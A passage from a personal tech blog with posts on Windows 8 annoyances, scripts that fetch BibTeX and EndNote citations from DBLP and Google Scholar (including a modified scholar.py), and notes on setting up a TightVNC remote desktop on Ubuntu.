    <meta charset=utf-8 />
    <title>My first Markdown page</title>
    <link rel="stylesheet" type="text/css" href="fallback.css">
</head>
<body><pre>

# My first Markdown page

Enter you Markdown code here...

<script src="js/jr.js"></script>

</pre></body>
</html>

Which also allows to set a fallback.css which will be used in case Javascript is disabled, where you can include and set some basic styling for pre tags.

Windows 8 Annoyances

2014-07-31T12:04:00+02:00

This was going to be a short “list” post, but expanded to something a little bit larger.

Recently, I’ve acquired a shiny new Dell XPS laptop. The exact specs are not important; compared to almost a decennia ago, phones, laptops, desktops and tablets have gained such a commodity-status that most of us no longer drool over the details. It just needs to work, give me 16GB of RAM, give me a quad core, and it’ll be fine for a few years or so. No one cares.

This “it just needs to work so I can get stuff done” mentality has, at least for me, becoming ever more prevalent, not only in hardware usage, but also software. This is why I am also getting ever more annoyed when things don’t work as expected, oftentimes for very incomprehensible or dumb reasons.

And so, I arrive at the meat of this post, a list of annoying little grievances which have been bugging me on this Windows 8 installation this laptop came with. I just list them here since they amuse me, but I’ll try to add some pictures (software gore style) later as well.

My laptop displays “Windows is low on memory” errors every time I don’t use it for a few hours. Mind, however, that no unusual programs are running and that the Task Manager shows more than 8GB out of the 16GB free every single time.
The DPI scaling system is a horrible mess. For so many reasons. My laptop screen has this huge resolution, which is totally unnecessary other than for Dell to claim they have a “retina” screen. My external monitor has a traditional 1920x1200 resolution. Switching between the two and keeping a sensible scaling is not possible without restarting. Some applications do not adhere to the DPI scaling setting. So I need to frequently enable and disable DPI scaling for some applications. In many cases, I have the choice between using an app with correct scaling but as a horrible blurry mess, or in a tiny screen. In some cases, the screen and most UI elements are scaled correctly, except for some button-panel which has ant-sized buttons. I’m talking about things such as Remote Desktop and the Dropbox menu…
What is up with this horrible start screen. I have to shell out a few bucks for Start8. Ok, fine, no problem, but why not just include this by default.
In fact, I wish to disable this new interface concept completely. I don’t want to open this full screen photo viewing app (which stays running in the background even if I go back to the Desktop).
Same for this WiFi panel. It’s not too bad, but seriously, a purple slide-in…
When I’m not connected to my university VPN, Windows will continuously try to connect with some shared drives and printers until the timeout occurs. Explorer windows will freeze during this period. Figure it out, Windows, I’m not connected!
Related to the above, Word will actually crash when saving if you open it whilst having shared drives connected and disconnecting from VPN afterwards, even when the file is saved locally.
In some cases, and I’m not sure why and when this happens, my keyboard layout will get messed up and start spewing out random gibberish. Not related to the language setting (those are fine, and switching does nothing). I’m talking about an qwerty-azerty thing here, I mean qwerty to k$n5d. Restarting is the only thing which magically fixes it.

I could go on. The reality is that I am not that bothered by Windows 8 (not so much as other people seem to be, at least), and I realize I come pretty late to the complaining-party. The key to this all is though: why can’t this just work? I have similar feelings when using a shiny new Linux distribution with some “revolutionary” window manager. No, a Linux desktop is not a tablet, stop it! The solution is also not to revert back to Windows 7. I’ve looked into this, it’s too much work, really.

I have the same feeling on my iDevices. I had an unfortune accident and switched from Android to an iPhone. Try to download a ZIP file, putting it on Dropbox and sharing a share link in an e-mail. Good luck… you’re better off finding the nearest laptop. This really makes me miss Android’s brilliant intent system. Honestly, you never know which app will be able to share some object with which other apps.

On Linux, I have similar feelings. Why did my package repository get corrupted again? Why does sound stop working? Why are WiFi connections dealt with so badly? I can deal with (mostly) elementaryOS and CrunchBang. The first because it is minimal (it also clones OSX but whatever) and gets out of your way, the second because it is nimble.

Google: mostly okay, although some recent changes have also been bothering me. What is up with this “comfortable” white space design trend. Yes, when I am browsing an IKEA brochure, this great type and breathing white space is awesome. When I’m hunting down an e-mail from 2 months ago, use every pixel you got! Compact! Same with the cards on Android. Yes, this material-inspired design philosophy looks awesome, but I can’t feel but help Google Maps, for example, got crippled in recent years, if I look up a restaurant I know is nearby (and Google also knows given the autosuggest), but still sends me to a similarly named place miles away upon selecting it.

Updates, another gripe. Luckily, this is something smartphones do tend to do well. Just update it, I don’t want to babysit. No don’t tell me about a new version and ask me to download it and go through an installer, just update it and pop up a notifation or something.

In the past, I used to be amazed by computing. I used to spend weekends installing Linux distro after distro and playing around with it. Now that I am older and more busy, I am still amazed by cool things, but I have also become pragmatic. If I pickup a device after 2 weeks, I don’t want to fight with it before using it. PlayStation or XBox, I’m looking at you. For me, I don’t care if you leave yourself in standby mode and update silently. I want to play a game, not install a 500MB update. Oh, also an update for the game? Oh, then 3 intro screens you can’t skip. Am I made of time?

Don’t get me wrong, stuff gets better all the time and generally, everything works well and great, but there is a lot of room left for improvement. When things do work, however, all is well; there are some systems, I feel, who do it well. The first is Android (the stock one, none of the customized ones) and ChromeOS, off all things. The latter is deliberately very limiting (just a browser), but it is great at what it does (everything in the cloud, app management, automatic updates, simplicity of usage). Maybe this is due to information overload. Too many devices, too many apps, too much stuff. This is also part of the reason why I moved all my documents to Google Drive recently, it at least resolves some of the disparity. I’m sure this will bite me some day when I forget to do a payment or the sync client royally effs up, but for now it works quite well.

Replacing BibTeX References With DBLP Entries

2014-06-29T16:05:00+02:00

Update (2014-08-08): commenters on Twitter have notified me about this script which aims to accomplish something similar, without DBLP, however. Fellow researcher Joos Buijs has also started working on a DBLP-enabled BibTeX cleaner over here.
Update (2014-10-17): all code is now up on a separate GitHub repository. Let me know any cool stuff you end up doing with this.

This post is a kind of a follow-up for this one.

I am currently busy writing up my dissertation, and apart from creating a bunch-of-script to do the following:

Merge BiBTeX files
Rekey all of them (the same keys can refer to actual different entries)
Remove duplicates

I also wanted to clean up the resulting reference list by using as much as possible information from DBLP, a computer science bibliography repository. Not all of the references I use are on there, most most of them are, and I prefer DBLP’s structured bibliography above any other sources (they’re very clean and complete).

Getting to a BibTeX entry in DBLP is pretty easy. Performing a search for my name, for instance, provides a list of results from which it is easy to find a particular entry. A like how the same resource identifier serves as BibTeX key (e.g. “DBLP:conf/caise/BrouckeWBV12”) and as part of the URL on DBLP (e.g. “http://www.dblp.org/rec/bibtex/conf/caise/BrouckeWBV12”), making it easy to go navigate around.

I also like how DBLP provides a search api over at http://www.dblp.org/search/api/.

After fiddling for half an hour I put together the following Java script to fetch entries from DBLP and replace existing ones when possible:

A caveat though: the script is very messy and not really an exercise in clean coding. In any case, it got the job done and might serve helpful for those trying to do something similar. The script is user driven in order to make sure the right entry gets selected (most of the time, it will be the number one entry). It’s also possible to change the automatic query string to a manual one and perform the search again for tricky entries.

Finally, running this will result in some crossrefs being added twice, but since they will have the same key, the duplicates can be easily filtered out in a post-filtering step.

Converting Plain Text References To BibTeX (or Endnote, or…)

2014-02-26T20:21:00+01:00

Update: new post and source code here.

So last weekend, I’d almost finished editing a Word manuscript draft to submit to a particular journal, except for one final item on the todo list: converting the existing list of references (inserted and formatted as a plain text list) to another style.

I planned on using Word’s built-in reference manager to add all 40+ references to the bibliography, but even in Word’s latest incarnation, the “Here are 20 text boxes squished together, have fun!”-interface remains a pain to use.

So then, switching to BibTeX first. This involves hunting down BibTeX entries for all references, putting them in a tool like Jabref, and then exporting the list to a — properly formatted — plain text list, which can be pasted back into Word.

After doing this for three or so reference entries, feelings of boredom and frustration welled up inside me, and my mind drifted off pondering the greater questions of life…

Are we alone in the universe? … Is there a god? … Why can’t I convert a list of plain text references to a BibTeX list automatically?

The latter questions really isn’t that ridiculous. With sources like DBLP and Web of Science allowing plain text search, it shouldn’t be too hard to automagically get this task done, right?

So I had a look at Endnote. Quote this page:

EndNote: Cannot import bibliography not created with EndNote Unfortunately, EndNote was not designed to import information in a bibliography format. EndNote can import text files that are in a tagged data format, as well as tab-delimited files that are in the exact right format. Some customers have had success at converting an existing text file into a tagged data file that can be imported into EndNote, however the process is difficult and may take more time than finding another source for the references, or even copying and pasting the text into new references by hand. More information on preparing text files for importing can be found in the “Importing Reference Data” section of the Help File.

That’s just great. One of these “some customers” can be found at this blog… Ten steps, including a bunch of arcane editing and Linux commands… There has to be a better way. If Mendeley can parse information from a PDF (not perfect, but still), a plain text reference list should be convertable to a BibTeX entry, right?

So instead of spending two hours creating a BibTeX file manually, I spent two days coming up with some automatic way.

Hour 1: Finding a Source

The first hour of this experiment was spent finding a literature corpus source where I’d be able to download a structured reference file from. Web of Science looks like a good candidate, but their website is hellish to parse, requires juggling with cookies and viewstates, and going through my university’s proxy to gain access, something I’ve all experimented with in the past and didn’t want to go through again.

Next possibility: Google Scholar. A few test runs with some edited queries came up with the right articles alright, and Google Scholar allows to export Endnote, BibTeX and other files. Even though the quality of the entry is not always perfect, this seemed like a good starting point.

Hours 2-3: Finding an API

First issue: Google Scholar does not provide an API. Luckily, there’s scholar.py on GitHub which seems to be working fine (as long as you don’t hammer Google’s servers too much):

macuyiko$ python scholar.py -c 3 --author "vanden broucke" --txt "artificial"
            ID PktWS3Llix8J
         Title Improved artificial negative event generation to enhance process event logs
           URL http://link.springer.com/chapter/10.1007/978-3-642-31095-9_17
     Citations 4
      Versions 5
Citations list http://scholar.google.com/scholar?cites=2273162715991526206&as_sdt=2005&sciodt=1,5&hl=en&num=3
 Versions list http://scholar.google.com/scholar?cluster=2273162715991526206&hl=en&num=3&as_sdt=1,5
      Cite URL http://scholar.google.com/scholar?q=info:PktWS3Llix8J:scholar.google.com/&output=cite&scirp=0&hl=en
  Related list http://scholar.google.com/scholar?q=related:PktWS3Llix8J:scholar.google.com/&hl=en&num=3&as_sdt=1,5
          Year 2012

            ID 1_9CU_-bcNEJ
         Title An Improved Process Event Log Artificial Negative Event Generator
           URL http://papers.ssrn.com/sol3/papers.cfm?abstract_id=2165204
     Citations 0
      Versions 0
Citations list None
 Versions list None
      Cite URL http://scholar.google.com/scholar?q=info:1_9CU_-bcNEJ:scholar.google.com/&output=cite&scirp=0&hl=en
  Related list None
          Year 2012

            ID EE_4eP8NmncJ
         Title Third International Business Process Intelligence Challenge (BPIC'13): Volvo IT Belgium VINST
           URL http://ceur-ws.org/Vol-1052/paper3.pdf
     Citations 0
      Versions 0
Citations list None
 Versions list None
      Cite URL http://scholar.google.com/scholar?q=info:EE_4eP8NmncJ:scholar.google.com/&output=cite&scirp=0&hl=en
  Related list http://scholar.google.com/scholar?q=related:EE_4eP8NmncJ:scholar.google.com/&hl=en&num=3&as_sdt=1,5
          Year None

Hours 4-5: Getting Citation Results

Second issue, scholar.py does not provide support to retrieve citation entries from Google Scholar (i.e. what you see when you click the “Cite” link under an article).

Getting this information is a little bit tricky, because we first have to retrieve the Google Scholar ID for the article, and then perform a second HTTP request using a unique token in the URL. I’ve modified scholar.py to look as follows (now also using the requests library instead of the whole urllib soup:

#! /usr/bin/env python
# Copyright 2010--2013 Christian Kreibich. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
#   1. Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#
#   2. Redistributions in binary form must reproduce the above
#      copyright notice, this list of conditions and the following
#      disclaimer in the documentation and/or other materials provided
#      with the distribution.
#
# THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED
# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY DIRECT,
# INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
# STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
# IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.

import optparse
import sys
import codecs
import re
try:
    from urllib.parse import quote
except ImportError:
    from urllib import quote
import requests

# Import BeautifulSoup -- try 4 first, fall back to older
try:
    from bs4 import BeautifulSoup
except ImportError:
    try:
        from BeautifulSoup import BeautifulSoup
    except:
        print('We need BeautifulSoup, sorry...')
        sys.exit(1)

# Support unicode in both Python 2 and 3. In Python 3, unicode is str.
if sys.version_info[0] == 3:
    unicode = str # pylint: disable-msg=W0622
    encode = lambda s: s # pylint: disable-msg=C0103
else:
    encode = lambda s: s.encode('utf-8') # pylint: disable-msg=C0103

class CookieJar(object):
    COOKIE_JAR = {}

class Article(object):
    def __init__(self):
        self.attrs = {'id':            [None, 'ID',              0],
                      'title':         [None, 'Title',           1],
                      'url':           [None, 'URL',             2],
                      'num_citations': [0,    'Citations',       3],
                      'num_versions':  [0,    'Versions',        4],
                      'url_citations': [None, 'Citations list',  5],
                      'url_versions':  [None, 'Versions list',   6],
                      'url_cite':      [None, 'Cite URL',        7],
                      'url_related':   [None, 'Related list',    8],
                      'year':          [None, 'Year',            9]}

    def __getitem__(self, key):
        if key in self.attrs:
            return self.attrs[key][0]
        return None

    def __len__(self):
        return len(self.attrs)

    def __setitem__(self, key, item):
        if key in self.attrs:
            self.attrs[key][0] = item
        else:
            self.attrs[key] = [item, key, len(self.attrs)]

    def __delitem__(self, key):
        if key in self.attrs:
            del self.attrs[key]

    def as_txt(self):
        # Get items sorted in specified order:
        items = sorted(list(self.attrs.values()), key=lambda item: item[2])
        # Find largest label length:
        max_label_len = max([len(str(item[1])) for item in items])
        fmt = '%%%ds %%s' % max_label_len
        return '\n'.join([fmt % (item[1], item[0]) for item in items])

    def as_csv(self, header=False, sep='|'):
        # Get keys sorted in specified order:
        keys = [pair[0] for pair in \
                sorted([(key, val[2]) for key, val in list(self.attrs.items())],
                       key=lambda pair: pair[1])]
        res = []
        if header:
            res.append(sep.join(keys))
        res.append(sep.join([unicode(self.attrs[key][0]) for key in keys]))
        return '\n'.join(res)

class ScholarParser(object):
    SCHOLAR_SITE = 'http://scholar.google.com'

    def __init__(self, site=None):
        self.soup = None
        self.article = None
        self.site = site or self.SCHOLAR_SITE
        self.year_re = re.compile(r'\b(?:20|19)\d{2}\b')

    def handle_article(self, art):
        """
        In this base class, the callback does nothing.
        """

    def parse(self, html):
        """
        This method initiates parsing of HTML content.
        """
        self.soup = BeautifulSoup(html)
        for div in self.soup.findAll(ScholarParser._tag_checker):
            self._parse_article(div)

    def _parse_article(self, div):
        self.article = Article()

        for tag in div:
            if not hasattr(tag, 'name'):
                continue

            if tag.name == 'div' and self._tag_has_class(tag, 'gs_rt') and \
                    tag.h3 and tag.h3.a:
                self.article['title'] = ''.join(tag.h3.a.findAll(text=True))
                self.article['url'] = self._path2url(tag.h3.a['href'])

            if tag.name == 'font':
                for tag2 in tag:
                    if not hasattr(tag2, 'name'):
                        continue
                    if tag2.name == 'span' and self._tag_has_class(tag2, 'gs_fl'):
                        self._parse_links(tag2)

        if self.article['title']:
            self.handle_article(self.article)

    def _parse_links(self, span):
        for tag in span:
            if not hasattr(tag, 'name'):
                continue
            if tag.name != 'a' or tag.get('href') == None:
                continue

            if tag.get('href').startswith('/scholar?cites'):
                if hasattr(tag, 'string') and tag.string.startswith('Cited by'):
                    self.article['num_citations'] = \
                        self._as_int(tag.string.split()[-1])
                self.article['url_citations'] = self._path2url(tag.get('href'))

            if tag.get('href').startswith('/scholar?cluster'):
                if hasattr(tag, 'string') and tag.string.startswith('All '):
                    self.article['num_versions'] = \
                        self._as_int(tag.string.split()[1])
                self.article['url_versions'] = self._path2url(tag.get('href'))

    @staticmethod
    def _tag_has_class(tag, klass):
        """
        This predicate function checks whether a BeatifulSoup Tag instance
        has a class attribute.
        """
        res = tag.get('class') or []
        if type(res) != list:
            # BeautifulSoup 3 can return e.g. 'gs_md_wp gs_ttss',
            # so split -- conveniently produces a list in any case
            res = res.split()
        return klass in res

    @staticmethod
    def _tag_checker(tag):
        return tag.name == 'div' and ScholarParser._tag_has_class(tag, 'gs_r')

    @staticmethod
    def _as_int(obj):
        try:
            return int(obj)
        except ValueError:
            return None

    def _path2url(self, path):
        if path.startswith('http://'):
            return path
        if not path.startswith('/'):
            path = '/' + path
        return self.site + path


class ScholarParser120201(ScholarParser):
    def _parse_article(self, div):
        self.article = Article()

        for tag in div:
            if not hasattr(tag, 'name'):
                continue

            if tag.name == 'h3' and self._tag_has_class(tag, 'gs_rt') and tag.a:
                self.article['title'] = ''.join(tag.a.findAll(text=True))
                self.article['url'] = self._path2url(tag.a['href'])

            if tag.name == 'div' and self._tag_has_class(tag, 'gs_a'):
                year = self.year_re.findall(tag.text)
                self.article['year'] = year[0] if len(year) > 0 else None

            if tag.name == 'div' and self._tag_has_class(tag, 'gs_fl'):
                self._parse_links(tag)

        if self.article['title']:
            self.handle_article(self.article)


class ScholarParser120726(ScholarParser):
    def _parse_article(self, div):
        self.article = Article()

        for tag in div:
            if not hasattr(tag, 'name'):
                continue
            if tag.name == 'div' and self._tag_has_class(tag, 'gs_ri'):
                if tag.a:
                    self.article['title'] = ''.join(tag.a.findAll(text=True))
                    self.article['url'] = self._path2url(tag.a['href'])

                if tag.find('div', {'class': 'gs_a'}):
                    year = self.year_re.findall(tag.find('div', {'class': 'gs_a'}).text)
                    self.article['year'] = year[0] if len(year) > 0 else None

                if tag.find('div', {'class': 'gs_fl'}):
                    ltag = tag.find('div', {'class': 'gs_fl'})
                    self._parse_links(ltag)

                    id_re = re.compile(r'gs_ocit\(event,\'(.*?)\',')
                    id = id_re.findall(str(ltag))
                    self.article['id'] = id[0] if len(id) > 0 else None
                    self.article['url_cite'] = self._path2url('/scholar?q=info:' + self.article['id'] + ':scholar.google.com/&output=cite&scirp=0&hl=en')

        if self.article['title']:
            self.handle_article(self.article)

    def _parse_links(self, span):
        for tag in span:
            if not hasattr(tag, 'name'):
                continue
            if tag.name != 'a' or tag.get('href') == None:
                continue

            if tag.get('href').startswith('/scholar?q=related'):
                self.article['url_related'] = self._path2url(tag.get('href'))

            if tag.get('href').startswith('/scholar?cites'):
                if hasattr(tag, 'string') and tag.string.startswith('Cited by'):
                    self.article['num_citations'] = \
                        self._as_int(tag.string.split()[-1])
                self.article['url_citations'] = self._path2url(tag.get('href'))

            if tag.get('href').startswith('/scholar?cluster'):
                if hasattr(tag, 'string') and tag.string.startswith('All '):
                    self.article['num_versions'] = \
                        self._as_int(tag.string.split()[1])
                self.article['url_versions'] = self._path2url(tag.get('href'))

class CiteParser(ScholarParser):
    def __init__(self, site=None):
        self.site = site or self.SCHOLAR_SITE
        self.soup = None
        self.export = {}
        self.text = {}

    def parse(self, html):
        """
        This method initiates parsing of HTML content.
        """
        self.soup = BeautifulSoup(html)
        self._parse_text(self.soup.find("div", {"id": "gs_citt"}))
        self._parse_export(self.soup.find("div", {"id": "gs_citi"}))

    def _parse_text(self, div):
        for tag in div.findAll('tr'):
            self.text[tag.find('th').text] = tag.find('div').text

    def _parse_export(self, div):
        for tag in div.findAll('a'):
            if not hasattr(tag, 'name'):
                continue
            if tag.name != 'a' or tag.get('href') == None:
                continue

            if tag.get('href').startswith('/scholar'):
                if hasattr(tag, 'string') and tag.string.startswith('Import into'):
                    n = tag.string.split()[-1]
                    self.export[n] = self._path2url(tag.get('href'))

class ScholarQuerier(object):
    SCHOLAR_URL = 'http://scholar.google.be/scholar?hl=en&q=%(query)s+author:%(author)s&btnG=Search&as_subj=eng&as_sdt=1,5&as_ylo=&as_vis=0'
    NOAUTH_URL = 'http://scholar.google.be/scholar?hl=en&q=%(query)s&btnG=Search&as_subj=eng&as_std=1,5&as_ylo=&as_vis=0'
    USER_AGENT = 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36'

    class Parser(ScholarParser120726):
        def __init__(self, querier):
            ScholarParser120726.__init__(self)
            self.querier = querier

        def handle_article(self, art):
            self.querier.add_article(art)

    def __init__(self, author='', scholar_url=None, count=0):
        self.articles = []
        self.author = author
        # Clip to 100, as Google doesn't support more anyway
        self.count = min(count, 100)

        if author == '':
            self.scholar_url = self.NOAUTH_URL
        else:
            self.scholar_url = scholar_url or self.SCHOLAR_URL

        if self.count != 0:
            self.scholar_url += '&num=%d' % self.count

    def query(self, search):
        self.clear_articles()
        url = self.scholar_url % {'query': quote(encode(search)), 'author': quote(self.author)}
        r = requests.get(url, headers={'User-Agent': self.USER_AGENT}, cookies=CookieJar.COOKIE_JAR)
        CookieJar.COOKIE_JAR = r.cookies
        if r.status_code != 200:
            self.status = False
            print "*** Google is throttling"
        else:
            self.parse(r.text)

    def parse(self, html):
        parser = self.Parser(self)
        parser.parse(html)

    def add_article(self, art):
        self.articles.append(art)

    def clear_articles(self):
        self.status = True
        self.articles = []

class CiteQuerier(ScholarQuerier):
    CITE_URL = 'http://scholar.google.com/scholar?q=info:%(id)s:scholar.google.com/&output=cite&scirp=0&hl=en'

    class Parser(CiteParser):
        def __init__(self, querier):
            CiteParser.__init__(self)
            self.querier = querier

    def __init__(self, id):
        self.id = id
        self.parser = self.Parser(self)
        self.query()

    def query(self):
        url_cite = self.CITE_URL % {'id': quote(encode(self.id))}
        r = requests.get(url_cite, headers={'User-Agent': self.USER_AGENT}, cookies=CookieJar.COOKIE_JAR)
        CookieJar.COOKIE_JAR = r.cookies
        self.parse(r.text)

    def parse(self, html):
        self.parser.parse(html)

def cite(id):
    querier = CiteQuerier(id)
    r = requests.get(querier.parser.export['EndNote'], headers={'User-Agent': querier.USER_AGENT}, cookies=CookieJar.COOKIE_JAR)
    myFile = codecs.open('end.enw', 'w','utf-8')
    myFile.write(r.text)
    myFile.close()

def articles(query, author, count):
    querier = ScholarQuerier(author=author, count=count)
    querier.query(query)
    articles = querier.articles
    if count > 0:
        articles = articles[:count]
    return articles

def txt(query, author, count):
    querier = ScholarQuerier(author=author, count=count)
    querier.query(query)
    articles = querier.articles
    if count > 0:
        articles = articles[:count]
    c = 1
    for art in articles:
        print('------------' + 'Article #' + str(c) + ':' + '------------')
        c += 1
        print(art.as_txt() + '\n')
    return articles

def csv(query, author, count, header=False, sep='|'):
    querier = ScholarQuerier(author=author, count=count)
    querier.query(query)
    articles = querier.articles
    if count > 0:
        articles = articles[:count]
    for art in articles:
        result = art.as_csv(header=header, sep=sep)
        print(encode(result))
        header = False
    return articles

def main():
    usage = """scholar.py [options] <query string>
A command-line interface to Google Scholar.

Example: scholar.py -c 1 --txt --author einstein quantum"""

    fmt = optparse.IndentedHelpFormatter(max_help_position=50, width=100)
    parser = optparse.OptionParser(usage=usage, formatter=fmt)
    parser.add_option('-a', '--author',
                      help='Author name')
    parser.add_option('--csv', action='store_true',
                      help='Print article data in CSV form (separator is "|")')
    parser.add_option('--csv-header', action='store_true',
                      help='Like --csv, but print header with column names')
    parser.add_option('--txt', action='store_true',
                      help='Print article data in text format')
    parser.add_option('--cite', help='Cite article')
    parser.add_option('-c', '--count', type='int',
                      help='Maximum number of results')
    parser.set_defaults(count=0, author='')
    options, args = parser.parse_args()

    # Show help if we have neither keyword search nor author name
    if len(args) == 0 and options.author == '':
        parser.print_help()
        return 1

    query = ' '.join(args)

    if options.csv:
        a = csv(query, author=options.author, count=options.count)
    elif options.csv_header:
        a = csv(query, author=options.author, count=options.count, header=True)
    elif options.txt:
        a = txt(query, author=options.author, count=options.count)
    elif options.cite:
        cite(options.cite)

    if options.cite:
        cite(a[int(options.cite)-1]['id'])

    return 0

if __name__ == "__main__":
    sys.exit(main())

So now, we are able to get this:

macuyiko$ python scholar.py -c 1 --cite 1 --author "vanden broucke" --txt "artificial" && cat end.enw
------------Article #1:------------
            ID PktWS3Llix8J
         Title Improved artificial negative event generation to enhance process event logs
           URL http://link.springer.com/chapter/10.1007/978-3-642-31095-9_17
     Citations 4
      Versions 5
Citations list http://scholar.google.com/scholar?cites=2273162715991526206&as_sdt=2005&sciodt=1,5&hl=en&num=1
 Versions list http://scholar.google.com/scholar?cluster=2273162715991526206&hl=en&num=1&as_sdt=1,5
      Cite URL http://scholar.google.com/scholar?q=info:PktWS3Llix8J:scholar.google.com/&output=cite&scirp=0&hl=en
  Related list http://scholar.google.com/scholar?q=related:PktWS3Llix8J:scholar.google.com/&hl=en&num=1&as_sdt=1,5
          Year 2012

%0 Conference Proceedings
%T Improved artificial negative event generation to enhance process event logs
%A vanden Broucke, Seppe KLM
%A De Weerdt, Jochen
%A Baesens, Bart
%A Vanthienen, Jan
%B Advanced Information Systems Engineering
%P 254-269
%@ 364231094X
%D 2012
%I Springer

Hours 6-11: Wasting Time with Google’s Appengine

Almost done. The final part which remains is to automate iterating through the plain references list, finding a way to extract a good search query for each entry, and getting out the Endnote (or BibTeX from Google Scholar).

In an impulse, I decided to try to whip up a Google Appengine page to provide this great service to the world. After creating a basic index.html with some jQuery on top off it I created a quick Flask app with the “magic” part looking something like this (disclaimer: not really that magical):

@app.route('/guess', methods=['POST'])
def guess():
    f = string.ascii_lowercase + ' '
    q = request.form['t']
    q = q.lower()
    q = q.replace('-', ' ')
    q = ''.join(c for c in q if c in f)
    q = q.split(' ')
    q = ' '.join(c for c in q if len(c) >= 3)
    # Use q as the Google Scholar search query

Really simple: convert to lowercase, leave only text and spaces, filter out all words smaller then three characters. This approached seemed to work well in initial tests.

What didn’t work well, however, was getting scholar.py to work on Google Appengine. The library works fine, but Google Scholar is very picky towards handling requests coming from Google Appengine, due to reasons which are actually pretty obvious.

Hour 12: Let’s Just Finish This

After contemplating whether I should host this on my own server, I just decided to move on and built a quick and dirty script to do the work, as the likelihood of me getting popular/rich/famous/insert-attribute-here by a service like this one is small anyway, especially since Google’s banhammer would strike quickly.

So the final “convertor” script looks like this:

import sys
import os.path
import scholar
import string
import re
import codecs
import requests

references = """Bang-Jensen, J., & Gutin, G. (2010) Diagraphs: theory, algorithms and applications. Springer-Verlag.
Chandy, K., & Schulte, W. (2010) Event Processing - Designing IT Systems for Agile Companies, McGraw-Hill.
<OTHER REFERENCES>"""

def make_query(reference, l = 3):
    q = reference
    q = q.lower()
    q = q.replace('-', ' ')
    q = ''.join(c for c in q if c in f)
    q = q.split(' ')
    q = ' '.join(c for c in q if len(c) >= l)
    return q

def make_query_year(reference, l = 3):
    q = reference
    id_re = re.compile(r'(\d\d\d\d)')
    id = id_re.findall(q)
    year = id[0] if len(id) > 0 else '('
    q = q.split(year)
    q = q[1:]
    q = ''.join(q)
    q = q.lower()
    q = q.replace('-', ' ')
    q = ''.join(c for c in q if c in f)
    q = q.split(' ')
    q = ' '.join(c for c in q if len(c) >= l)
    if year != '(':
        q = year + ' ' + q
    return q

myFile = codecs.open('bibliography.bib', 'w','utf-8')
for reference in references.split('\n'):
    reference = reference.strip()
    print "\n---------------------------------------------------------"
    print "Doing reference:", reference
    f = string.ascii_lowercase + ' '

    q = make_query(reference)
    print "Query used:", q
    r = scholar.articles(q, '', 1)

    if len(r) == 0 or r[0]['id'] is None:
        q = make_query_year(reference)
        print "Trying again with:", q
        r = scholar.articles(q, '', 1)

    print r[0].as_txt(), '\n'
    querier = scholar.CiteQuerier(r[0]['id'])
    req = requests.get(querier.parser.export['BibTeX'], headers={'User-Agent': querier.USER_AGENT}, cookies=scholar.CookieJar.COOKIE_JAR)
    myFile.write('\n\n%%% '+r[0]['id']+'  '+r[0]['title']+'\n')
    myFile.write(req.text)

myFile.close()

Note that I had to include two querying strategies: make_query and make_query_year. The latter combines the year with the title but leaves out authors, this is to retrieve some problematic articles where the author name was formatted differently in Google Scholar than in my list. A hacky approach which could be improved, but it gets the point across.

Anyway, running this script returns a BibTeX list like this:

macuyiko$ cat ./bibliography.bib

%%% mr4JHn2auF8J  Theory, algorithms and applications
@article{bang2007theory,
  title={Theory, algorithms and applications},
  author={Bang-Jensen, J{\o}rgen and Gutin, Gregory},
  journal={Springer Monographs in Mathematics, Springer-Verlag London Ltd., London},
  year={2007},
  publisher={Springer}
}

%%% Odfz1prcWxEJ  Event Processing: Designing IT Systems for Agile Companies
@book{chandy2009event,
  title={Event Processing: Designing IT Systems for Agile Companies},
  author={Chandy, K and Schulte, W},
  year={2009},
  publisher={McGraw-Hill, Inc.}
}

Which is sufficient to import in a reference manager and edit/correct the remaining issues without much hassle.

By the Way…

I realize I might be an idiot and there might exist some free or expensive reference management software providing this functionality already. If you know about such magnificent tool, feel free to point this out in the comments or on Twitter (both the software name, not the fact that I’m an idiot, please).

Anyway, I hope this proves to be useful to anyone encountering the same problem. Also, fellow researchers, can we agree on the fact that the functionality offered by reference management software and scholarly websites is still pretty much utter crap? We live in the future, this should not be painful anymore.

Note To Self: Setting Up VNC Desktop For Remote User

2013-10-20T18:15:00+02:00

Another one of these things I always end up forgetting: setting up a Linux (in this case: Ubuntu) server so that users can login using a VNC client and get a (slim) desktop.

First thing you need to do is make sure you have a VNC server (tightvncserver), desktop apps and window manager installed. E.g.:

apt-get -y install ubuntu-desktop tightvncserver xfce4 xfce4-goodies

Next, add a user (if you haven’t already) for the remote user going to login:

adduser remote_user
passwd remote_user

Add to sudoers if required.

Next, set a VNC password. Best to set this to something else than normal password:

su - remote_user
vncpasswd

Next, create a vncserver.sh helper script to start to VNC server for a user:

#!/bin/bash
PATH="$PATH:/usr/bin/"
export USER="$2"
export PWD="/home/${USER}"
DISPLAY="$3"
DEPTH="16"
GEOMETRY="1024x768"
OPTIONS="-depth ${DEPTH} -geometry ${GEOMETRY} :${DISPLAY}"
. /lib/lsb/init-functions

case "$1" in
start)
log_action_begin_msg "Starting vncserver for user '${USER}' on localhost:${DISPLAY}"
su ${USER} -c "/usr/bin/vncserver ${OPTIONS}"
;;

stop)
log_action_begin_msg "Stoping vncserver for user '${USER}' on localhost:${DISPLAY}"
su ${USER} -c "/usr/bin/vncserver -kill :${DISPLAY}"
;;

restart)
$0 stop
$0 start
;;
esac
exit 0

And start with:

./vncserver.sh start remote_user 1

The remote user is then able to login to port 5901.

